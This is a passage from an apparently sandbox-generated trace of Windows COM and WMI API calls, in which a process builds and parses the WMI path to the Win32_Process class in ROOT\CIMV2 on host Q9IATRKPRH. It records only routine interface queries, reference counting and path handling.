[6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0157.157] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.158] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1aa042e0) returned 0x0 [0157.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa042e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0157.158] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa042e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3f980) returned 0x0 [0157.158] WbemDefPath:IUnknown:Release (This=0x1aa042e0) returned 0x0 [0157.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3f980) returned 0x0 [0157.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0157.159] WbemDefPath:IUnknown:AddRef (This=0x1bc3f980) returned 0x3 [0157.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0157.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0157.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1aa04260) returned 0x0 [0157.159] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa04260, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.159] WbemDefPath:IUnknown:Release (This=0x1aa04260) returned 0x3 [0157.159] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0157.159] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0157.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0157.159] WbemDefPath:IUnknown:Release (This=0x1bc3f980) returned 0x2 [0157.159] WbemDefPath:IUnknown:Release (This=0x1bc3f980) returned 0x1 [0157.159] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0157.159] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0157.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3f980) returned 0x0 [0157.159] WbemDefPath:IUnknown:AddRef (This=0x1bc3f980) returned 0x3 [0157.159] WbemDefPath:IUnknown:Release (This=0x1bc3f980) returned 0x2 [0157.159] WbemDefPath:IWbemPath:SetText (This=0x1bc3f980, uMode=0x4, pszPath="") returned 0x0 [0157.160] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f980, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0157.160] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fa40, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0157.160] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc3f980, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0157.160] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f980, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0157.160] WbemDefPath:IWbemPath:SetServer (This=0x1bc3f980, Name="Q9IATRKPRH") returned 0x0 [0157.160] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0157.160] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0157.160] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0157.160] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.162] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1aa04280) returned 0x0 [0157.162] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa04280, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0157.162] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa04280, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3f8c0) returned 0x0 [0157.162] WbemDefPath:IUnknown:Release (This=0x1aa04280) returned 0x0 [0157.162] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3f8c0) returned 0x0 [0157.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0157.163] WbemDefPath:IUnknown:AddRef (This=0x1bc3f8c0) returned 0x3 [0157.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0157.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0157.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1aa041a0) returned 0x0 [0157.163] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa041a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.163] WbemDefPath:IUnknown:Release (This=0x1aa041a0) returned 0x3 [0157.163] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0157.163] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0157.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0157.163] WbemDefPath:IUnknown:Release (This=0x1bc3f8c0) returned 0x2 [0157.163] WbemDefPath:IUnknown:Release (This=0x1bc3f8c0) returned 0x1 [0157.163] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0157.164] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0157.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3f8c0) returned 0x0 [0157.164] WbemDefPath:IUnknown:AddRef (This=0x1bc3f8c0) returned 0x3 [0157.164] WbemDefPath:IUnknown:Release (This=0x1bc3f8c0) returned 0x2 [0157.164] WbemDefPath:IWbemPath:SetText (This=0x1bc3f8c0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0157.164] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f980, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0157.164] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f8c0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0157.164] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f8c0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0157.164] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f8c0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0157.164] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc3f980) returned 0x0 [0157.164] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f8c0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0157.164] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f8c0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0157.164] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f8c0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0157.164] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3f980, uIndex=0x0, pszName="ROOT") returned 0x0 [0157.164] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f8c0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0157.164] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f8c0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0157.164] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3f980, uIndex=0x1, pszName="CIMV2") returned 0x0 [0157.164] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc3f980, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0157.164] WbemDefPath:IWbemPath:SetClassName (This=0x1bc3f980, Name="Win32_Process") returned 0x0 [0157.164] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f980, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0157.164] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f980, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0157.164] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f980, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0157.164] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f980, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0157.164] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f980, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0157.165] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f980, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0157.165] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f980, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0157.165] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f980, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0157.165] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fc80, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0157.165] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0157.165] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0157.165] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f980, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0157.165] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f980, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0157.165] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0157.165] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0157.165] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0157.165] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.166] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bb8b880) returned 0x0 [0157.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb8b880, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0157.167] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb8b880, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc3f800) returned 0x0 [0157.167] WbemDefPath:IUnknown:Release (This=0x1bb8b880) returned 0x0 [0157.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f800, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc3f800) returned 0x0 [0157.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f800, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0157.167] WbemDefPath:IUnknown:AddRef (This=0x1bc3f800) returned 0x3 [0157.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f800, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0157.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f800, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0157.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f800, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bb8b560) returned 0x0 [0157.167] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb8b560, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.167] WbemDefPath:IUnknown:Release (This=0x1bb8b560) returned 0x3 [0157.167] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0157.167] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0157.167] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f800, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0157.168] WbemDefPath:IUnknown:Release (This=0x1bc3f800) returned 0x2 [0157.168] WbemDefPath:IUnknown:Release (This=0x1bc3f800) returned 0x1 [0157.168] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0157.168] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0157.168] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f800, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc3f800) returned 0x0 [0157.168] WbemDefPath:IUnknown:AddRef (This=0x1bc3f800) returned 0x3 [0157.168] WbemDefPath:IUnknown:Release (This=0x1bc3f800) returned 0x2 [0157.168] WbemDefPath:IWbemPath:SetText (This=0x1bc3f800, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0157.168] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fc80, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0157.168] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0157.168] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.168] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0157.168] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0157.168] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0157.168] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.170] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bb8b6e0) returned 0x0 [0157.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb8b6e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0157.170] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb8b6e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 